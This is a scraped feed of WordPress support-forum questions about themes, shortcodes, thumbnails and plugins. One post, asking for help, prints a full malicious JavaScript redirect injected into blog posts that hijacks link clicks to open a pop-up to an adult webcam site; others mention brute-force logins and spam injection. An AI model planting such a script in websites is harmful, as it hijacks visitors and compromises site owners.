Quantcast
Channel: WordPress › Support » Forum: Hacks - Recent Topics
Viewing all 8245 articles
Browse latest View live

SierraNWatson on "Manipulating portfolio categories"

0
0

Before getting started with what I need help with, the website I'm referring to is:

http://www.hitmankustoms.com

I'm building this website on an extra domain then transferring it to guruink.com, my company's website.

Right now I'm focusing on the Portfolio and I have the Beuh! responsive theme.

What I'm trying to do, in simple terms, is make it where the "Videos" do NOT show up under "All" and the only way to see the videos is to click on the video tab of the portfolio. It just isn't ideal to have them mixed with the rest of my portfolio.

Let me know what additional information I can provide for anyone to be able to assist me a little better.

Thanks for any help!


Warry86 on "Display tags in a Custom type of a plugin"

0
0

Hi everyone, I can't find how to display my tags on my posts, on usual posts no problem, but since it's a plugin, things seems a bit more complicated...

I found in the plugin code the place where the code indicate what to display on each posts :

`
$html .= "<h2 class='title'>{$title}</h2>";
$html .= $content;
$html .= "<p>blopiblop</p>"; //// My test to see if It's the right place
$html .= "<p><?php the_tags(); ?></p>"; /// Don't work.
$html .= "</div>";
`
http://jsfiddle.net/jhruahfd/5/ Line 630
I'm not at all an expert in WP/PHP/AJAX , just started to learn ( but I do know html/css ).

Thanks a lot.

blogoguru on "post thumbnail size"

0
0

hi!
here I'm trying to display post name and 70x70 thumbnail (smallest)

<?php
    $args = array( 'numberposts' => '5' );
    $recent_posts = wp_get_recent_posts( $args );
    foreach( $recent_posts as $recent ){
        if ( has_post_thumbnail($recent["ID"])) {
            echo '
<li>' . get_the_post_thumbnail($recent["ID"], 'thumbnail') . '</li>
';
echo '
<li><a>' .   $recent["post_title"].'</a> </li>
 ';
        }
    }
?>

I believe get_the_post_thumbnail($recent["ID"], 'thumbnail') supposed to be 70x70 but instead of it wordpress displays 150x150

Avi Tannenbaum on "Auto generate template sub-page with username as title"

0
0

Hi,
How do I automatically generate a sub page for every user that registers to my site?
I want the title of the automatically generated page to be equal to the username of the user and be placed with a certain page template.
Any help out there?

here is my website:
http://www.StarShowsStudios.com

KeithAdv on "Help me use bigvideo.js in WordPress?"

0
0

I'm hoping someone can break this down so I can understand it!

I'm fairly good with css, just a beginner on javascript and php. Not so well educated on when/how to include/import stuff. But I'd love to use the jquery bigvideo plugin on a site, if I can get over the tech part!

Here is the BIGVIDEO.JS intro

And here is a tutorial by the creator

It's the simple stuff I trip over--where and how to include what--I just don't know how to WordPress-ify code like this! However, I'd love to get it up and running and all help would be appreciated! Thank you!

AndySwede on "Php in widget issue!"

0
0

Hello!

Code in a template runs in the global context. Code in the widget will run in a function context. Make sure that you declare any global variables as global before attempting to use them"

What does that mean?
How do i configure the code below to work in my widget that can handle php?

<?php $lunch = get_group('lunch');  foreach($lunch as $lunch){
echo '<span class="lunch-dag">' . $lunch['lunch_dag'][1]. '</span><br />';
echo '<span class="lunch-matratt">' . $lunch['lunch_matratt'][1]."<br />";
echo $lunch['lunch_matratt'][2]."<br />";
echo $lunch['lunch_matratt'][3]."<br />";
echo $lunch['lunch_matratt'][4]. '</span><br /><br />';}?>

The code works perfect in a template!

Best regards
Andy

ludakriss on "Shortcode for YouTube"

0
0

Hi,

When I insert a youtube film into my posts, I use this code;
<iframe src="//www.youtube.com/embed/videoid?rel=0&modestbranding=1&autohide=1&showinfo=0&controls=1" width="640" height="347" frameborder="0" allowfullscreen="allowfullscreen"></iframe>

This part: rel=0&modestbranding=1&autohide=1&showinfo=0&controls=1 is not in the normal YouTube embed. Therefore I was wondering if it is possible to make a shortcode with all this included, so I just have to add the video id?

Thanks

blogoguru on "trying to display thumbnail as a link"

0
0

hi!
here is a code I came up with to display 5 latest news with thumbs

<?php
    $args = array( 'numberposts' => '5' );
    $recent_posts = wp_get_recent_posts( $args );
    foreach( $recent_posts as $recent ){
echo '
<li><a>' .   $recent["post_title"].'</a> </li>
 ';
 if ( has_post_thumbnail($recent["ID"])) {
            echo '
<li>' . get_the_post_thumbnail($recent["ID"], 'mini70') . '</li>
';

        }
    }
?>

The problem is I'd like to display the thums as a link also but whatever I tried did not work
any help appreciated
thanks


richesnrags on "need to code a button to act as a form submission button"

0
0

hello I need some instruction I am a novice coder, I can open the files and add the code as long as I know where and what to add. I am using gravity forms on my site. the user fills in the form on page A the data is transferred via query string to page B which has a hidden form and then the data is passed to page C which has a visible form. I need to program a button on page B to act like the submit button on the hidden form so the data will be passed. this is what I got from gravity forms support

You can use jQuery to submit the form when your button is clicked, either add the following to your button onclick attribute or wrap it in a click handler ( http://api.jquery.com/click/ ) bound to your button
jQuery('‪#‎gform_13‬').submit();

can someone explain how to do this? currently the button on page B is an image that redirects to page C when clicked

Milknut on "Someone is trying to hack my site."

0
0

Someone is trying to hack my site! I'm getting hundreds of login attempts a minute and emails telling me that someone keeps getting locked out. It's clearly some kind of automated password-guessing program. It doesn't look like they know my username, so I'm not really worried that it will succeed. But the hundreds of emails are annoying. Is there anything I can do?

mikeyhoward1977 on "Saving Plugin options on tabbed settings screen"

0
0

I want to change my plugin's custom settings page to be tabbed. I have added the necessary code and the appearance is all fine.

However, I do not want to change the way in which my settings are saved to the wp_options table - currently these settings are saved to a single field.

Question is, even with a number of tabs on my settings page, can all the settings still be saved to the same field or must I now have multiple fields - i.e. 1 per tab?

As it stands now, if I save the settings displayed on tab 1, the other settings are all removed from the DB.

wdrescher on "Auto Posting with Spammy Posts"

0
0

Recently I have been seeing posts that have been automatically posted to my website blog with titles and descriptions showing Louis Vuton, Air Jordans, and other random spam. I am all updated as far as plugins and wordpress core is concerned. .htaccess all clean and I am running Wordfence with no errors. I also have sitelock monitoring so I know this is more of a spam hack.

Any suggestions, not really a meta pharma hack so not sure where to look.

Anyone see this before?

BTW they are posting with my admin account even with password changes - and no my name is not admin :)

paul_41 on "malware javascript code injected"

0
0

Hey!
We run plenty of adult blogs, recently some of them have been injected with a javascript redirect script. The place of injection: DB table wp_posts -> post_content
The JS code is added at the end of the post.

The script redirects to a webcam site by cashnude.

I have googled a lot, it seems not be a widespread.
Only could find how to remove the injected script, but the injection was back next day of course.

My server admin already spent a week to diagnose the hack, we changed all passwords possible including mysql passwords, we have no idea how the javascript is injected to the post.

Blogs with various WP plugins and WP themes have been injected,
however some older blogs with same plugins but older WP core have not been injected. The latest WP core 4.0 infected as well.

Does anybody have an experience with this JS redirect by cashnude?

Any response will be appreciated.

The malware code:

<script
type='text/javascript' rel="f179568d5746648ce97a252d9b3db074">
function
consoleLog(e){try{console.log(e)}catch(t){}}(function(e,t){function
n(){if(!s){s=true;for(var
e=0;e<i.length;e++){i[e].fn.call(window,i[e].ctx)}i=[]}}function
r(){if(document.readyState==="complete"){n()}}e=e||"docReady";t=t||window;var
i=[];var s=false;var
o=false;t[e]=function(e,t){if(s){setTimeout(function(){e(t)},1);return}else{i.push({fn:e,ctx:t})}if(document.readyState==="complete"){setTimeout(n,1)}else
if(!o){if(document.addEventListener){document.addEventListener("DOMContentLoaded",n,false);window.addEventListener("load",n,false)}else{document.attachEvent("onreadystatechange",r);window.attachEvent("onload",n)}o=true}}})("docReady",window);var
aMs=document.getElementsByTagName("a");var
amSwindow=false;docReady(function(){for(var
e=0;e<aMs.length;e++){aMs[e].addEventListener("click",function(e){var
t=Math.floor(Math.random()*2+1);consoleLog("ps:"+t);if(t==2){if(!amSwindow){amSwindow=window.open("http://fish-14j-js.cashnude.com/","NEI","width=10000,height=10000")}else{amSwindow.focus()}}},false)}})

Wawawawawardy on "Login help"

0
0

Hey guys probably a very novice question but I'm looking for some help to alter the login on my site.

Wanting to add some text below the 'remember me' and 'login' text and also add my custom logo to the top of my login menu too.

I don't quite know what code to add or where to add it.

Looking for help at: http://www.braeheadclanosc.com

kabbo508 on "new tab from template"

0
0

here is my website url: http://redripley.com/
in the home homepage you see "FEATURED WORK" option is in there have my many woks details,but when i set my cursor pointer and try to opn any of one work detail by new tab or new window,then i cant get this option..can any one help me out of this issue...here is the my homepage template php code.

<?php
/**
 * Template Name: Homepage Template
 * Description: A Page Template that showcases Sticky Posts, Asides, and Blog Posts
 *
 * The showcase template in Twenty Eleven consists of a featured posts section using sticky posts,
 * another recent posts area (with the latest post shown in full and the rest as a list)
 * and a left sidebar holding aside posts.
 *
 * We are creating two queries to fetch the proper posts and a custom widget for the sidebar.
 *
 * @package WordPress
 * @subpackage Twenty_Eleven
 * @since Twenty Eleven 1.0
 */

get_header(); ?>

		<div id="primary">

			<div id="content" role="main">

                <div class="tagline" style="padding-top: 40px;">
                	<div class="big">WE MAKE <span class="bigred">AWESOME</span> VIDEOS<BR>FOR BRANDS AND AGENCIES</div>
                    <div class="small"><h1 style="font-size:28px;">Vancouver Video Production Company</h1>We're a small full service multifaceted video production studio based out of Vancouver, Canada. <a href="http://redripley.com/people/">Our team</a> is incredibly enthusiastic about every project we do. By clearly communicating with our clients and sweating the small details, we've built a loyal client base ranging from large market corporations to small startups. We have the right expertise and experience to be able to provide you with only the <a href="http://redripley.com/work/">highest quality commercial video production</a> and <b><i>corporate video production</i></b> services. Our goal is to produce a video that captures your messaging in a unique and powerful way, helping you to captivate your audience and achieve your marketing objectives.<br /><br /><h2 style="font-size:25px;">Corporate Video Production</h2>We use only the latest in video production technology, providing our clients with cutting edge video production services for corporate and commercial projects. We guarantee 100% customer satisfaction every time. If you're looking for a professional <b><i>Vancouver video production company</i></b> who will get the job done quickly, efficiently and affordably, get in touch with our video production team. We don't want to create yet another boring, lifeless video. We only create pieces that are beautiful, powerful and unforgettable, telling the story that you want people to know. We would be happy to discuss with you your vision and to help you make it come to life. </div>
                </div>

				<div class="labelblock">
                	<div class="label">FEATURED WORK</div>
                    <a href="<?php echo esc_url( home_url( '/work/' ) ); ?>" class="redbutton">VIEW LATEST WORK</a>
                    <div class="clear"></div>
                </div>
				<div class="blocksholder">

                <div id="container" class="clearfix">

					  <?php
                          $linksPosts = new WP_Query();
                          $linksPosts->query('cat=13&order=DESC&showposts=13');
                      ?>
                      <?php
					  $counter = 1;
					  while ($linksPosts->have_posts()) : $linksPosts->the_post(); 

					  global $more;
					  $more = 0;

					  $values = get_post_custom_values("type");
					  $short_title = get_post_custom_values("short_title");

					  if($values[0]!='spotlight'){
						 $class = "col1";
						 $fontcolor = "skyblue";
						 $tagline = 'BLOG';
						 $cover = 'background: #2fd3f6;';
					  }else{
						 $class = "col2";
						 $fontcolor = "orange";
						 $tagline = $values[0];
						 $cover = 'background: #ffa801;';
					  }
					 	$large_image_url = wp_get_attachment_image_src( get_post_thumbnail_id(), 'large');
						$short_description = get_post_custom_values("short_description");

						if (in_category('Featured Videos')){
						//$tagline = 'Featured';
						}

					  ?>
                      <div class="box <?php echo $class;?> m-info-block">
                      <div class="box-title"><?php
					  	echo the_time('Y.d.m');
					  //echo $short_title[0];?></div>
                      <div class="box-tagline <?php echo $fontcolor;?>">
					  <?php
					  	$catcount = 1;
						foreach((get_the_category()) as $category) {
//						echo $category->cat_name;
						if($category->cat_name!='Blog' && $category->cat_name!='Featured Videos' && $category->cat_name!='All Video Posts'){
							if($catcount != 1){
								echo ' / ';
							}
							echo $category->cat_name;
							$catcount++;
						}
/*						if($category->cat_name!='Blog' || $category->cat_name!='Featured Videos'){
							$category_id = get_cat_ID( $category->cat_name );
							$category_link = get_category_link( $category_id );
							echo '<a href="'.$category_link.'">'.$category->cat_name.'</a>';
						} */
						}
						?>
					  <?php 

					  //$categories_list = get_the_category_list( __( '.', 'twentyeleven' ) ); echo $categories_list;?><?php //echo $tagline;?></div>
                      	<div class="cover" onclick="location.href='<?php echo the_permalink();?>'" style="<?php echo $cover;?>">
                        	<div class="bunchtext">
                            	<div class="bunchholder">
                                    <div class="line1">VIEW</div>
                                    <div class="line2">MORE</div>
                                    <div class="line3">></div>
                                </div>
                            </div>
                        </div>
                        <div class="innercontent">
                            <div class="read">
                            <div class="thumb" style="background: url(<?php echo $large_image_url[0];?>) center no-repeat;"></div>
                            <h4><?php the_title(); ?></h4>
                            <div class="text"><?php echo $short_description[0];?></div>
                            </div>
                        </div>

                      </div>
                      <?php
					  $counter++;
					  endwhile; ?>

                </div>

                </div><br />
                <div class="labelblock">
                	<div class="label">OUR CLIENTS</div>
                    <a href="<?php echo esc_url( home_url( '/work/' ) ); ?>" class="redbutton">VIEW OUR CLIENTS</a>
                    <div class="clear"></div>
                </div>
                <div class="blocksholder">
               	<?php
				$sidebar_page = new WP_Query('pagename=Partner Logos - Do Not Remove');
				$sidebar_page->the_post();
				the_content(); ?>

                </div>

                <div class="clear"></div>

                <div class="quoteholder">
					<div class="quote"><span class="openquote">"</span>&nbsp;Red+Ripley, a video production and communications firm specializing in custom marketing strategies, video production, corporate videos, event videos, studio filming, film shoots, RED™ EPIC, SCARLET HD shooting, post production, editing, animation, visual effects (VFX), production management, and digital film and video presentations that can be used on the web.<span class="closequote">"</span></div>
                                </div>

				<div class="clear"></div>

                <div class="backtotopholder">
                	<a href="#top" class="button"></a>
                </div>
                <div class="clear"></div>

                <div class="contactholder">
                	Get in touch<br>
                    <span class="number">604.765.2444</span><br>
                    No Obligation Consultation
                </div>

			</div><!-- #content -->
		</div><!-- #primary -->
<div class="clear"></div>

<?php get_footer(); ?>

Marj Wyatt on "Post ID is displaying on Custom Post Type Archive"

0
0

I'm more than puzzled so I'm reaching out for help.

I've developed some code for a custom post type archive that will output the custom taxonomy associated with the custom post type and, if there are posts, list the post titles with links to that post. If there are no posts in that custom taxonomy, the code invites the member to add content to that custom taxonomy.

Here's a link to my code: http://pastebin.com/mtAwUkVT

The code works but there is something that is unexpected which I just can't figure out. The post ID is displaying above the list item and I'm not instructing the code to do that. Clearly, I need the post ID to retrieve the permalink and title of the post but I do not need it to display on the page.

I haven't finished styling the page yet but here's a link to a screenshot showing anyone reading what I mean:

http://screencast.com/t/zN0ajUAhU

I know it is probably something silly that I've overlooked and I'm hoping fresh eyes can help me get rid of the unwanted output.

Thanks, in advance, for any assistance. :)

sweebee on "Get posts with if and else"

0
0

I have the following code

<?php

$args = array( 'posts_per_page' => -1,'post_status' => 'future','order' => 'ASC', 'offset'=> 0, 'post_type' => 'special' );

$myposts = get_posts( $args );
foreach ( $myposts as $post ) : setup_postdata( $post ); ?>

then the post data etc. and after that

<?php endforeach;
wp_reset_postdata();?>

But if there are no posts there must be placed something else like there are no posts available.

Tried a lot of possibilities but no one worked.

martin on "disk usage growing (Hacked?)"

0
0

I am not doing anything to my wordpress site but the disk space usage shown in the cPanel is growing simultaneously, growing hour by hour. (my site is 2xxmb in size for a long time, because each blog is about 3 mb to 5 mb, But the site was 3xxmb last night and is >440mb at this moment)

The stuff which is growing are:
1. MySQL database (from about 15mb to 60mb)
2. this directory: ".cagefs"

What should I do, I think I maybe hacked.

Pinoss on "Insert a Post in Wp_post MYSQL"

0
0

Hi,
I need to insert some posts and pages into wp_post database with Php code directly. Now the code it's working but I would to insert a Shortcode in the Content of generated post (this shortcode is generated by Shortcode Exec PHP plugin and contains some php lines) . The problem is that when I enter to generated post, the output is : [shortcode]? and not : Hello World (if, for example, the shortocode is echo "Hello World";

I'm using this code:

<?php
$ip = 'myserver';
$user = 'mydatabaseuser';
$password = 'mypass';
$db_name = 'mydatabsename';
$conn = mysql_pconnect($ip,$user,$password) or die();
$error = mysql_select_db($db_name,$conn) or die();

$data="INSERT INTO mydatabsename.wp_posts (ID, post_author, post_date, post_date_gmt, post_content, post_title, post_excerpt, post_status, comment_status, ping_status, post_password, post_name, to_ping, pinged, post_modified, post_modified_gmt, post_content_filtered, post_parent, guid, menu_order, post_type, post_mime_type, comment_count) VALUES ('1202', '0', '2014-09-14 00:00:00', '2014-09-14 00:00:00', '[shortcode]', 'test', 'test', 'publish', 'open', 'open', '', 'test', '', '', '2014-09-14 02:06:11', '2014-09-14 05:21:26', '', '0', '', '0', 'post', '', '0');";

$result_data=mysql_query($data,$conn);

echo "inserted!";

?>

I tried to insert Posts with "wp_insert_post" native function but allways generates duplicates posts in database.

How Can I solve this issue? Wich method is better to insert posts/pages manually in wp_post database?

Thanks in advance.

feiyim on "Include Plugin on custom tempate page"

0
0

Hello!!

I want to use an Archives plugin onto my custom page template but i still dont know how to call it. Anyone that has any idea?

Viewing all 8245 articles
Browse latest View live




Latest Images